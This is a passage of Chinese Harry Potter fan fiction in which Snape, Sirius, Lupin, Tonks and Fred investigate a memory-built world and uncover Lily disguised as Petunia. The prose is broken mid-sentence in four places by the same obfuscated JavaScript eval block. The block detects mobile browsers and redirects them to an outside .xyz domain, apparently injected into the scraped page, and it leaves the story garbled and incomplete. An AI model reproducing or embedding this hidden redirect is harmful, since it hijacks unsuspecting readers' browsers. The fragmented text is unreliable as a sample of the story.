弗雷德给了珀西一个大大的拥抱,感到莫名其妙的兄长虽然皱起眉头,但掩饰不住嘴角上扬的弧度。弗雷德很高兴;他发现除了小天狼星、卢平、唐克斯以外,家人和朋友都不记得他们已经经历过一切———这说明他们都还活着,都还在现实世界里拿着魔杖与伏地魔战斗着。 高兴归高兴,弗雷德没忘记现实世界里哈利告诉过他的话:复活石不能真的复活故人,只是招来一种比灵魂要真实、比实体要虚幻的物质,就像从日记里出来的里德尔一样。想明白这一点后,他再定睛看向周围,发现一切还活在世上的人和物原来都漂浮在半空中———就连那只姜黄色大猫克鲁克山也是———这个世界里聚集了大片大片的白雾,模糊了视线。 说到这里,哈利这一次为什么去到了斯莱特林?还和讨厌的斯内普走得那样近? 直觉告诉弗雷德,真相或许应该从这里开始寻找;或许他应该找个机会去跟邓布利多教授聊一聊———最近没看见他了———在这个世界里他似乎经常往美利坚跑。 …… 找到真相以前,弗雷德发现自己开始忘记了。 他想不起来自己怎么出现在这里,似乎从一开始他就是在这个世界长大的;莫丽把他和乔治带到世上,他们俩和三个哥哥以及后来又添的一个弟弟跟一个妹妹每天在陋居打打闹闹,经常惹得韦斯莱夫人生气。他天生就有敏锐的直觉,比如能赌对魁地奇世界杯令人惊奇的结果,也判断对了卢多·巴格曼不会老老实实付钱,避免了一大笔损失;他跟乔治拿着赢来的钱开了一家“韦斯莱魔法把戏坊”,很快成了家里最有钱的那两个;三强争霸赛开始后,他劝乔治不要把名字丢进火焰杯里———“我们俩会变成长胡子的怪老头”;乔治虽然表示“真变老头也没什么不好,可以提前看看等我们老了过后谁更帅气”,但还是答应了弗雷德。 不对。 有什么地方不对。 弗雷德想不起来。 直到哈利找上门来——— 11. 推翻“假如”的尝试开始了 夜色暗沉。 许多英里之外,曾经在冥想盆里游荡的雾气,此刻正在一条肮脏的河流上飘浮。这条河蜿蜒曲折,两岸杂草蔓生,垃圾成堆。误闯入秋意的夏蝉挣扎着发出一声不属于这个季节的鸣叫;不远处,黑黢黢的河水在低吼,叶子在寂静的夜里吵闹。 噗的一声轻响,河边凭空出现了几点魔杖发出的微光。三个一身黑色的人借着黑夜掩护疾行在巷道里。风偶尔掠过他们的长袍,发出一阵瑟瑟声。 “我们真的可以相信斯内普吗?” “哈利让我们来找他,一定有他的道理。” “哈利还只是个孩子!斯内普可能用花言巧语迷惑了他!” 留着长发的男人已经率先爬到河岸上,他那瘦削的同伴很快跟了上来,并伸手拉了身后的妻子一把。 “哦天哪莱姆斯,你我都知道斯内普不是会说花言巧语的人;其次,我相信詹姆和莉莉的孩子有判断是非的能力。” 他们三个并排站在那里,望着小巷那边一排排破旧的砖房,房子上的窗户在夜色中显得黑洞洞的,似乎吞咽了许多秘密。 “你这相信来得真是奇怪。我们多少年没见到哈利啦?———除去魁地奇世界杯期间匆匆打的照面和说的几句话,我们上次见到他时他还是个抓着儿童扫帚咯咯笑的婴儿!———唐克斯更是没见过他!哈利对唐克斯说那句‘好久不见’更是可疑———我们要相信这么草率的交谈里他说的话吗?” 小天狼星已经从锈迹斑斑的栏杆的一处豁口钻了过去。卢平和唐克斯对视一眼,各自握紧了手中魔杖,还是向跑在最前面那个男人追去。唐克斯宽慰丈夫:“不管怎么说,我们有三个战斗力,斯内普只有一个……不会出什么问题的,去看看吧,万一斯内普真能像哈利保证那样,让我们想起来一些被忘记的事情呢?”她一边说,一边轻甩着那头漂亮的泡泡糖粉红色头发。 三个人飞快地穿过房屋之间的一条小巷,拐进另一条几乎一模一样的街道。有几盏路灯已经坏了,三个奔跑的巫师时而被灯光照亮,时而被黑暗笼罩。就在前面的那个男人拐过另一个街角时,后面的那个追上了他,这次总算一把抓住了他的胳膊,把他拽得转过身来,两个人面对面站住了。 “小天狼星,你千万不能这么做,你不能相信他——” “连邓布利多都相信他,不是吗?” “邓布利多准是……我相信……不对,邓布利多什么时候说过相信他?。”卢平气喘吁吁地说。唐克斯左右看看是不是有人,两只眼睛在魔杖的微光里一闪一闪。 “小天狼星!” 可是小天狼星已经往前冲去。“他总是这么冲动,”卢平叹了口气;“而且这样莽撞。”唐克斯补充。但他们夫妇依然选择跟上同伴。三人就这样走进了那些迷宫般的废砖房的更深处,曲曲绕绕不知道拐过多少个几乎一模一样的路口。最后,小天狼星快步走上一条名叫蜘蛛尾巷的街道,如果他抬头望,能看见那根高高的磨坊烟囱链接着可知与不可知处。他走过一扇扇用木板钉着的破旧的窗户,踏在鹅卵石上的脚步发出阵阵回音,重复的“踏踏”声从四面八方排闼而来。他们来到最后一幢房子跟前,楼下一个房间的窗帘缝里透出昏暗的灯光,在浓雾里显得不那么清晰。 小天狼星已经敲响了门。他们一起站在门外等着,微微喘着粗气,嗅着被晚风吹过来的那条污水河的气味。在这个只有等待这一件事可做的间隙,那个叫小天狼星的男人微微侧过脸,带着些歉意地对他的同伴说: “我不知道,莱姆斯,我不明白为什么心里有个声音说我们应该相信哈利,而哈利……哈利又选择相信斯内普……” “坦白说,我也是这样,老伙计。是因为詹姆的缘故吗?我总觉得我已经跟哈利一起生活过很长一段时间了。真是奇怪!”卢平把手放到小天狼星肩上。不知道是不是因为冷,唐克斯裹紧了袍子。 她们很快听见门后面有了动静,门把手发出被转动的声音,接着门被打开了一条缝,一个男人朝她们张望着,乌黑的长发像帘子一样披在两边,中间是一张灰黄色的脸和一双乌黑的眼睛。 “莱姆斯,唐克斯,还有小天狼星……”男人说着把门缝开得大了一些,让灯光照到他们三人,“真是令人又惊又喜!” 他退后一步,把这群特别的客人让进了屋里。唐克斯和卢平握着魔杖的手微微颤抖,表露出魔杖主人此时紧绷的情绪。 “斯内普。”经过他身边时,三个人各自简单地招呼了一声。 斯内普的嘴唇扭曲成一个略带讥讽的微笑,咔哒一声在他们身后关上了门。 她们直接走进了一间小小的客厅,这里给人的感觉像是一间昏暗的软壁牢房。几面墙都覆盖着布,但很粗糙,能看得出是临时布置上去的,不知道是为了掩盖什么;一盏点着蜡烛的灯从天花板上垂落下来,投下一道昏暗的光圈,光圈里挤挤挨挨地放着一张磨损起毛的沙发、一把旧扶手椅和一张摇摇晃晃的桌子。这地方有一种荒凉冷清的气息,似乎平常没有人居住。 斯内普示意他的客人坐在沙发上。他身后的书房里传出一些声响,紧接着走出来一个人。假如哈利·波特在这里,一定可以毫不费力地认出这个红头发的年轻人。 但小天狼星他们几乎一瞬间就从沙发上跳起来,魔杖分别指着斯内普和这个突然出现的陌生人。 “别这样紧张,”斯内普浑然不顾这几根气势凌人的魔杖,懒洋洋沙发上找了个空坐好,“给他们介绍一下你自己,弗雷德·韦斯莱———别让我来费这个口舌。” 弗雷德·韦斯莱花了一点口舌,解释了他很哈利的关系以及他出现在蜘蛛尾巷的原因———哈利找到他,让他务必跟着斯内普学习大脑封闭术。 “你们知道的,斯内普是大脑封闭术的大师,而我刚刚好,发现自己似乎忘记了一点东西。我不知道我对哈利的信任来自哪里,但偶尔打一个小赌总没有什么坏处。所以我来了,并且跟着斯内普———或者斯内普教授,学习了估摸两个月这个魔法。” “让我大胆地猜一猜,你们也是因为相似的理由来到这里:哈利找到你们,提示你们你们忘记了什么重要的事情,然后你们跟着哈利的话回想,发现记忆中的一切虽然看起来很符合逻辑,但总有什么很关节性的地方经不住推敲———比如你们记忆里找不到一点跟神秘人相关的事,但身边所有人都在歌颂十三年前纳威·隆巴顿和神秘人的战斗;比如你们身边有一些莫名其妙建立的关系,对一些人有着莫名其妙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193135|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信任;比如你们无法使用冥想盆,无法记住你们在冥想盆里看到的事;再比如,你们不知道什么时候拥有了预知未来的能力……” “你们很困惑,甚至有一点害怕;所以你们到这里来,为这些不解寻求一个答案。”斯内普终于舍得从他那张摇摇晃晃的沙发上站起来,还是带着些懒洋洋地倚着桌子,接过弗雷德的话头。 虽然不想承认,但小天狼星还是点了点头。其实在世界杯赛场与哈利分别时,他让然对这个多年未见的教子表示怀疑。但他很快在自己房间里找到一个本子和一支笔,本子上什么也没写,笔的墨水缺少了一半。他想起哈利的描述里那些“被遗忘”的内容,抱着试一试的心理把它们洋洋洒洒几大页写在本子上。赛后半个月,他偶然在房间里发现了一个空白的本子和一支用了很多墨水的笔。他记忆里没有那个本子,但他记得那支笔本来应该还有一半的墨水。 所以他相信了。 所以他来了。 赛后一个月,他拉着卢平和唐克斯,闯入了这条蜘蛛尾巷,硬着头皮寻求自己最讨厌的人的帮助。在微弱的灯光里,他听斯内普的要求对自己使用了大脑封闭术,然后看着这个长着鹰钩鼻的男人端出一个冥想盆。 “我不会让你们在我的眼皮子前忘记你们应该记住的一切的。” …… 斯内普做好了准备看这四个人痛哭流涕的样子。 但他们没有表现出任何无法接受的样子。 “所以,我们现在的任务就是,找到那个操纵魔法石的人,送还活着的人回到现实去?” “是的,”斯内普终于露出了严肃的表情,“已知这个人活着,且他/她是这个世界里唯一不经我们干预就拥有记忆的人。我认为正常人在没有记忆的情况下,遇到同样的情况大概率不会做出相反的选择。因此,我们或许可以先排查那些与现实行为有较大偏差的群体。” “说到这儿,哈利为什么拥有记忆?” “他的记忆是我强行留住的。我发现这个世界维持其运行的基本方式就是不断纂改来到这里的意识体的记忆,使其无意识间融入这个世界的逻辑体系而无法察觉。所以我费了一点功夫,教会哈利大脑封闭术———他本身只是意识的投射,所以使用这个魔法比我们更难———使他的认知不再被修改。” “我们为什么不教其他人大脑封闭术?” “这是下一步计划。难度很大———因为哈利以及你们原来的战友大多都还活着,留在这里的只是意识的投影———只能尝试,我已经和哈利商量好了,我们会尽最大努力去实现。” “我们为什么不就留在这里呢?反正活着的人在这里只是投影,不会对他们又任何影响吧……” “恰恰相反。这一切关于意识,谁都不知道这个世界会不会反过来影响到现实世界他们的意识,如果有一天真正的他们无法分清幻觉和现实,麻烦就大了。” “说到这,我确实发现了一个行为和原本现实世界的行为有较大不同的人。” 卢平停下对斯内普的追问,所有人的目光都看向小天狼星。 “佩妮·德思礼。上次我去女贞路见哈利的时候就感到奇怪了,莉莉那个刻薄的麻瓜什么时候变得这么友好了?” 12. 推翻“假如”的学生队伍集结完毕 “你是说,我们成立跨学院学习小组?” 三强争霸赛期间,哈利离开了塔楼,不再光顾打人柳,他走回到同学之间,打着“塞德里克的胜利就是霍格沃茨的胜利”,疯狂地劝说他们想办法支持这位来自赫奇帕奇的勇士的比赛。赫奇帕奇很感动;格兰芬多燃起了浓烈的集体荣誉感;斯莱特林的魁地奇球队以他们极强的影响力带着学院无条件支持哈利的决定;拉文克劳没什么想法,但拉文克劳不准备特立独行。 又或者说,在过去三年的磨合里,那些学院之间的缝隙已经在慢慢弥合,遗留的矛盾与冲突越来越少,合四为一的希望已经在悄悄闪光。这些本就想为自己学校荣誉背水一战的学院,因为哈利的呼吁,找到了团结在一起的借口。 一切仿佛回到了集体在图书馆备战蛇怪的那段日子,唯一不同的是,害怕的情绪被兴奋感代替。哈利组织他们按特长分工:以赫敏为代表的同学成日泡在图书馆里寻找资料,罗恩,纳威带着一群热心的格兰芬多给塞德里克当陪练,马尔福则带着他与日俱增的跟班们鬼鬼祟祟跟踪另外两个学校的校长以偷看他们的作弊内容。在古老的霍格沃茨城堡里,生命力独享风流的时节在自由自在地踱步,承载恢复举办后第一届火焰杯的学校里装横着忙碌的兴奋,咒语来咒语去全是兴致盎然的年轻。 无处不闹哄哄,无人不欣欣然。 当哈利成功破解出金蛋的谜题之后,学院里掀起了一股“波特是我们的王”的势头。这个势头在塞德里克把火焰杯转赠给哈利的时候,达到了最高潮。 哈利双手捧着奖杯,向那些正在鼓掌的观众们发出邀请: “我们成立一个跨学院学习小组吧!大家各自负责擅长的板块,就像上次备战、这次备赛一样。以后即使没有大型赛事,不同学校的同学也可以通过小组里的分享交流共同进步!” 他的要求在台下的欢呼里通过。 小组很快成立起来,纳威负责草药学,赫敏负责魔咒课,哈利负责魔药学……哈利推开那间曾经他和斯内普专享的有求必应屋的大门,带头走进屋子变成的宽敞教室。墙边是一溜木书架,一排排羊皮面大厚书足以满足不同学科的教学和练习需要。他们没有设置黑魔法防御课的负责人,因为每个人都赞同在本学期的黑魔法防御课教师穆迪教授的课上能收获颇丰——— 直到五年级,一只粉红色的癞蛤蟆占领了校园。 “我真是受够这些这样那样的教育令了!” 周末的时候,哈利罕见地在猪头酒吧碰见了赫敏三人,彼时罗恩正在大声抱怨他上周被关的禁闭。替他放哨———以确保乌姆里奇不在周围———的人是纳威。在纳威的眼睛谨慎地四处乱瞟的某一刻,哈利和他对上了视线。他跟他们打了招呼,赫敏的眼睛在看到他的瞬间一亮,但又飞快地被蒙上犹豫。 “这太可怕了,”赫敏小声说,“可怕。哈利,你知道吗,我刚刚正在和罗恩还有纳威说……我们必须采取一点行动了。从乌姆里奇那里我们根本别想知道什么有用的黑魔法防御知识。” 哈利咽下嘴里刚刚喝进的一口火焰威士忌,冲赫敏举了举杯子,安静地表示对她这番话的默许。猪头酒吧的老板用力地拿一块很脏的抹布擦洗着杯子,使那玻璃被擦得越来越花,甚至倒映不出赫敏脸上的紧张。 哈利、罗恩还有纳威都在等待着赫敏将要说出口的话。 “哈利,是这样……我今天在想……我在想———也许我们应该索性————索性自己来做。” “我们需要一个人,他跟我们站在一条战线,足够理解我们的处境,在黑魔法防御上很有天赋,还储备了很多课本以外的黑魔法防御的知识,有足够的能力来教给我们被需要的魔法!” 她整个人突然焕发出充满热情的荣光,这种热情哈利只在她泡图书馆的时候见到过。 “那个人就是你,哈利!你的黑魔法防御术是斯内普亲自教的,他在这个学科上只有你一个弟子;穆迪在课上夸奖过你的天赋好多次;你的建议也的确帮助塞德里克赢得了火焰杯的胜利!” “哈利,你来教我们黑魔法防御课吧……” 至此,学习小组升级为一个颇具规模的学生组织。在赫敏的帮助下,参加的学生都在保密协议上签了字。约定的那个夜晚敲门声一次又一次隐秘地响起,成员们怀着完全不同的心境再一次推开有求必应屋的大门,转动钥匙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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屋子里顿时响起一片叫喊声,打偏的魔杖四处乱飞,火星四溅,击碎了放在一角的仪器;人们跳着,叫着,也肆意地笑着,任由脱手的魔杖在他们头顶呼啸着飞来飞去。屋子里乱成一锅粥,又好像烧开的水壶;哈利努力稳住灶上的火,不让水溢出,也不叫水被烧干。 等到屋子里的大家几乎都能使出神锋无影之类的魔法后,哈利站在有求必应屋中间,迎着所有人的目光,说出那句他从四年级创建D·A雏型时就开始计划说出的话: “我们接下来学习大脑封闭术。” 13. 推翻“假如”的第一枪 那涩而苦的执念是朵已然凋谢的百合花。 …… …… …… 女贞路洋溢着金色的秋日阳光,空气中流转着好闻的鲜花气息。一栋漂亮的两层房子前,佩妮姨妈正弯着腰侍弄着花园里的勃勃生机。 “早,德思礼夫人!今天天气真不错!” “早,约翰逊夫人!” 那个被姓约翰逊的女人抱着怀里的小狗走到德思礼家的花园前,舒服地半倚在擦得干干净净的栅栏上,有一搭没一搭和女主人聊着天。小狗被花园里飞舞的蝴蝶吸引了注意,一个劲儿地冲它们挥舞着爪子。 从他们那里,可以遥遥地望见一条波光粼粼的大河。丝绸一样的波纹懒懒地晃荡在河面上,蓝色的水珠时而光顾绿色的草坪。 “很难想象,”约翰逊夫人轻轻理一理怀里小狗的毛发,“五年前这里住着的那个刻薄自私的德思礼夫人和你是一个人。” 德思礼夫人正拿剪刀剪下一枝开出园子的玫瑰花。她笑着不搭话,直起腰走到栅栏边,小心地把手里的玫瑰花别在小狗耳边。 “真可爱,你说是不是?” 阳光来得恰到好处,约翰逊夫人眼里的德思礼夫人连头发都镀上了一层浅金色,衬着同样受阳光照拂的眼镜格外明亮。隔着阳台玻璃,能看见这位美丽的女主人身后那间屋子里新换上的金红色窗帘,亮闪闪地仿佛融进了光线中。 一切都是惬意美好的样子。 路的尽头,突然出现了几个不速之客。没人看清他们是怎么来的,一道比阳光稍稍刺眼一点的白光之后,他们出现在了女贞路的街道上。 “哦约翰逊夫人,你那条漂亮的红披肩呢?” “老天,它没在我肩上吗?” 德思礼夫人温柔地摇摇头,看着眼前这位邻居一下子变了脸色: “我得回家去找找!希望它只是被我忘在家里没带出来,而不是因为我的不小心被丢在了什么地方。” “别担心亲爱的,相信你会找到的它的。” 等冒冒失失的邻居关上了她家的门,德思礼夫人收起了轻松的神色,平静地望向已经走到花园旁的不速之客。 “早安,德思礼夫人。” 来者有五个,为首的是一个身材瘦削的男人,面色蜡黄,眼神冷漠,很难从他鹰钩鼻上面的一双眼睛里看出些什么带着暖色调的情绪。他旁边站着的一个高个子男人比他看上去有人情味得多,留着长发,五官英俊。一对夫妇站在他们后面,长着一张桃心型脸的女人挽着丈夫的手,被挽着的中年男人保持着警惕的神色。这对夫妇旁边还有一个年轻人,头发火红火红,让人想起阳光照在三棱镜上的结果。 “我们接到针对女贞路4号的投诉,有些话需要问您。夫人,方便让我们进到屋子里细谈吗?” 德思礼夫人打量了一下来者,带着探询意味的目光在队伍最后面的弗雷德身上停留了一小会儿,紧接着放下花具,在围裙上擦擦手,轻巧地走出花园。她上了台阶,扭动门把手,冲来客做出一个“请”的手势,率先往屋子里走。 屋子里面有些乱,这和斯内普印象里的女贞路4号很是不同。一楼有一间客厅,一间餐室、一间厨房和一条走廊。本来有单独的储物间,但似乎是东西太多以致超出了储物间的容量,许多物品依然出现在屋子里各个令人意想不到的地方:厨房里胡乱地堆着电话机和留声机,餐桌上更是放着些似乎跟用餐没什么关系的物品。本来宽敞的客厅因为散乱的物件显得有些拥挤,五个人很别扭地跟着德思礼夫人穿过那些丢在地上的盘子、餐具,最后在客厅中间的沙发上坐好。德思礼夫人给客人们和自己分别倒了一杯水喝。 “夫人,有人说一年零两个月前在这里发生了一起爆炸事故,极大地影响他们的休息,且他们怀疑这给整条女贞路都带来了安全隐患。请问消息属实吗?” “这里没有发生爆炸,从来没有。” “这样吗?那方便让我们检查一下壁炉吗?进来的时候我观察了这栋,呃,漂亮的房子,或许这个误会是改装壁炉引起的?” “没问题先生。但我和弗农住在这里很多年了。我们的壁炉是封起来的,从来没有使用过。” “这太奇怪了,夫人,既然一切都是正常的,坊间怎么会传出爆炸的谣言呢?” “我不知道,先生。” “近段时间来过什么客人吗?” “说实话,先生,除了您五位不请自来,上次走进这间屋子的客人还是我丈夫的姐姐。” “据我所知,您还有一位妹妹。您的妹妹没来拜访您吗?” “我跟妹妹不和,这么多年,我们唯一的联系就是她把她的儿子托付给我照顾。我连她本人现在在哪都不知道,她又怎么可能上门拜访呢?” 斯内普脸上难得出现了红一阵白一阵的难堪表情。他最后把弗雷德·韦斯莱推到队伍最前面: “您对他有印象吗?就是他举报女贞路4号在去年暑假发生了一起爆炸案。” “拜托,小伙子,我们明明是第一次见面,你怎么那样撒谎呢?” “那么,”斯内普和同伴们交换了一个眼色,都在对方眼里看见了无奈的意味,“打扰了,德思礼夫人。” 佩妮·德思礼微笑着冲他们挥挥手,送他们出了女贞路4号大门。约翰逊夫人正裹着她那条红色的羊绒披肩高高兴兴走在路上。她隔着老远就和德思礼夫人打招呼: “早安,德思礼夫人!今天天气真好,来看看我心爱的红披肩!” 斯内普一行向着来的方向走去。正巧,一阵风从德思礼夫人身后还未关闭的门里灌进客厅,带着人金红色的窗帘轻轻晃着,晃荡到了西弗勒斯·斯内普的余光里。 他的脑子里灵光一闪,几乎就要抓住什么了。 “西弗勒斯,佩妮不理睬我了……” “西弗勒斯,佩妮说我们都是怪物。她说她没有当怪物的妹妹……” “西弗勒斯,佩妮一整个暑假都没有和我说话……” “教授,佩妮姨妈不知道为什么转了性,突然对我特别好。她知道我最喜欢吃水果味馅饼,给我重新布置了一个小房间,还送我到了火车站。最奇怪的是,她怎么知道要给我的许可表上签字呀?整个暑假我都没跟她提起呀?” 斯内普颤抖着转过身来。佩妮·德思礼还站在台阶上。相隔并不远,斯内普却像游过了一个世纪那样长的时光。他挣开了小天狼星拽住他袍子的手,甚至没从袍子里拿出他那根魔杖;斯内普的脸色比任何时候都要苍白,眼睛里盛着马上就要溢出的感情。 是什么呢?是惶恐,是愧怍,是胆怯,是思念。 是向往。 “佩妮从来不用‘我妹妹’这个词,对吗。” 斯内普艰难地像着台阶上站着的人望去。哪里来的一把剪刀,把他这么多年披在身上的冷漠一刀一刀剪得稀碎;斯内普颤抖着伸出手,手里变出一朵花。 花瓣合拢,花瓣张开。 就像是回到了那片绒绒的草坪,就像是回到了了那条淙淙的河流边,就像是回到了那片绣在地上的树荫,同看一片不懂离别泪的蓝。 啊,不必用“就像”两个字,他们此刻就站在回忆的不远处。还是过去的地点,还是过去的男孩女孩。 “佩妮·德思礼”依然微笑着,她不知道从什么地方掏出了一根魔杖,对着自己的脸使了一个咒语: “原型立现。” 她用一种很亲切愉快的声音说: “好久不见,西弗勒斯。还有莱姆斯和尼法多拉,你们俩也是,好久不见!” 花瓣合拢,花瓣张开…… 蜡黄的平原上划过一滴水,里面盛开着那朵唯一纯白的百合花。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193137|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… …… “妈妈!” …… 30分钟前。 哈利出现在蜘蛛尾巷。 河水拍打河岸,臭气在街道盘旋。白天的窗子依然露着黑漆漆的面孔,这里隐秘着罪恶,这里的晦暗不可言说。 他知道斯内普一行今天要出发去女贞路4号。有小天狼星他们在,哈利一点也不担心斯内普会中途跑开然后出现在这里;更不担心那几个经验丰富的巫师会在对付身为麻瓜的佩妮姨妈的这件事上出什么纰漏。 今天的蜘蛛尾巷没有设防,哈利很容易就闯了进去。他快步走向巷子的最深处,那里有一扇陈旧得有些生锈的大门。 自从想起来一切以后,一直有一个困惑萦绕在哈利心里: 斯内普为什么没有忘记一切呢? 哈利回忆着在这个世界里发生的一切,仔细回想斯内普在其间扮演着什么角色。 他是这个世界的地图。 他是这个世界的冥想盆。 哈利因为他而感到安心,哈利因为他而逃避孤独。 他是这个世界的邓布利多,收敛了所有的恶,只展露出百合花的泥土里生发的爱;他尽可能地十全十美,尽可能使自己像严师又像慈父;他不再被莉莉的儿子记恨或者厌恶,甚至这个孩子为他的存在而欢欣鼓舞;他所在的有求必应屋,对这个孩子有求必应;他指导着他的成长,规划出一条没有障碍的路。 因为,他已经走过一次这条路旁边的那条路。 哈利越细想,越觉察整个事件里的不对劲。这里的一切都是通过斯内普让自己知晓的。既然记忆可以被修改,那么斯内普完全可以在其间动手脚,再加上他是那个把记忆交给自己的人,在正常情况里,自己怀疑谁都不可能怀疑他。哈利记得斯内普说过: “人在没有记忆的情况下,面对同样的情况,大概率会做出同样的选择。” 可若人主动想做出不一样的选择呢? 大门就在眼前,一只手已经接近真相的门环。只是哈利多在门前站了几秒,因为他不知道怎么处置缠绕在一起的种种思绪。心里很乱,很闷,仿佛是胡乱堆着从箱子里拿出的书本的储物间。就像哈利总是不耐烦收起他扔在地上的袜子,他此刻也没心情打扫出一个干净整洁的心绪。迷惑、怀疑、犹疑这些混乱的因子到处都是,他索性放任它们在胸腔里不知所谓地漂流。 如果斯内普希望一切重来过,希望他没有与莉莉的孩子交恶,希望他没有透露那个预言,希望伏地魔压根就没在世界上出现过——— 这样他最深爱的人就依然活着。 这能不能成为理由?成为他构建这一切的理由?拿回忆里的一点甜凝成糖霜建一座美丽的城堡,把所有人都锁在甜蜜的幻想里,让他和莉莉都可以选择另一种生活。 哈利想起的一切,会不会都只是斯内普希望他想起的一切?这里的规则,会不会都是斯内普拟定的规则? 操纵复活石的不一定是生者,哈利猛然察觉————因为那片禁林里除了自己再无有机会去拿复活石的生者。 西弗勒斯·斯内普现在在做什么呢? 哦,想起来了。猫头鹰今天早晨送来了斯内普的信件: “哈利,我怀疑佩妮·德思礼。我今天将同小天狼星、卢平、唐克斯、韦斯莱一同前往女贞路四号。你如果想加入,可以早上七点半在女贞路巷子口等候———当然,要是你没出现,我就默认你对我们的行动不感兴趣。” 可是,佩妮姨妈知道复活石的存在吗? 佩妮姨妈知道怎么使用复活石吗? 佩妮姨妈为什么要使用复活石呢? 当现实里世界里,邓布利多因为难以抗拒的诱惑向复活石伸出手并因此受到重创的时候,给他疗伤的人不是别人,正是: 西弗勒斯·斯内普。 …… 14. 推翻“假如”的第二枪 屋子有些陈旧,但能看出来有人长住这里:墙角看不见一团一团的蜘蛛网,厨房里能看见一小堆食材,屋顶和地面上都有灰尘,但沙发相对干净,似乎有什么人刚在那里小坐过。 沙发正对的那面墙斑驳得能叫人看出年龄,上面没有贴东西,一副画或者一张海报都没有。事实上,屋子的主人似乎没有花一点心思在屋子的装饰上,使得昏暗的客厅里凝固着一种冷峻的气息。 哈利呆呆地站在门口。他不敢相信自己这么容易就进到了屋子。没有驱逐咒,没有隐形咒,没有保密人,他甚至没有掏出魔杖,就握着门把手打开了斯内普家的门。 斯内普没有在屋子里留下些可疑的东西,或者说,在这样一个除了简单家具再无其他陈设的地方,哈利很难找到什么可以证明斯内普是复活石的实际操纵者的证据。 他在各个房间里都简单转了转,甚至连床底大批都趴下去寻找过。他似乎回到了和赫敏还有罗恩一起在格里莫广场寻找那一个小小的首饰盒的日子,那时他在小天狼星的房间里找到了妈妈邮给旧友的后来被撕去一半的照片。只是在蜘蛛尾巷里寻找线索的只有他一人,旧时的伙伴还在另一场迷宫的冒险里挣扎。 大脑封闭术。 D·A的训练还在进行,哈利还没有学会摄神取念,所以他只能带着成员游荡于承载着无穷回忆的冥想盆里,带着无可奈何的期待询问那些眼前一片白茫茫的他们是否保留着回忆。 他们一次次进入,一次次出来。每一次重观都是对哈利的折磨,他挣扎着沉浮在那些只有他记得的情感的磅礴。 在赫敏的建议下,他们一次只进去两三名成员,这样即使记忆已经被抹得干净,有求必应屋里的其他人的提醒也能使他们明白他们是忘记而不是未经历。 哈利一直在等,等醒过来的赫敏或者罗恩给自己一个大大的拥抱。但是哈利没想到的是,最先握住记忆的风筝线的人是纳威。 “哈利,神秘人的名字是不是叫伏地魔?” 这是某一次从冥想盆里出来时纳威对哈利说的话。 哈利激动地看着这个现实里说出“我们和你一起去,哈利”的男孩,可是这男孩陷入梦呓里了,喃喃着不知在说什么话。旁人能看见纳威的嘴唇开合———甚至能看得清他拧起的两道眉毛。可是他们都听不见他的声音。纳威他还是到有求必应屋来,轮到他进冥想盆时他依然顺从地跟着进去,唯一有变化的是在练习大脑封闭术的时候他总是巴巴地望着那些费力地拒绝外来者入侵的伙伴,似乎只有这样他的声音才有可能被他人听见。 哈利回想自己学习大脑封闭术的那一年。他似乎并未遇见纳威这种的情况。 …… 哈利还是什么重要的线索都没有找到。他略显沉重的步子踏出大门,在门缝闭合的最后一刻,他突然灵光一闪: 霍拉斯·斯拉霍格恩为了骗过邓布利多,曾经做过什么? 哈利大步走回客厅,拔出魔杖,指着灰扑扑的客厅: “恢复如初。” 一切几乎如常,除了有什么在争着挤着出现在沙发正对的那面墙壁上。那些小东西的数量实在太多,以至于在哈利魔咒的控制下像有生命的爬山虎一样层一层往墙上扑,密密麻麻可以掩盖住墙面原本的斑驳。墙角出现了一个盆子和一堆小空瓶,哈利对他们一点也不陌生。 他没去管那只冥想盆和装记忆的小瓶子,径直走到墙壁面前,那里贴着的东西是几百张小照片,照片里的人物都在乱动,都在大笑。 从第一张照片开始,斯内普不知道用什么方法把记忆里那最美的草坪、最热闹的车站、最温暖的霍格沃茨、最欢喜的山谷全部从记忆里剥离成丝编织在相纸上。那些带着他的感情的丝线染着情绪的颜料,五彩斑斓地展示着记忆主人跳动的心。 哈利甚至看到了那张导致妈妈与斯内普最终决裂的照片———即使在冥想盆里斯内普也绝望地扯来些白雾试图掩盖那个错误。哈利不敢想象斯内普是怎样一次又一次独自坐在沙发里,被过去的记忆刀割般折磨。 照片并不在山谷中的那个夜晚停止,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193138|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 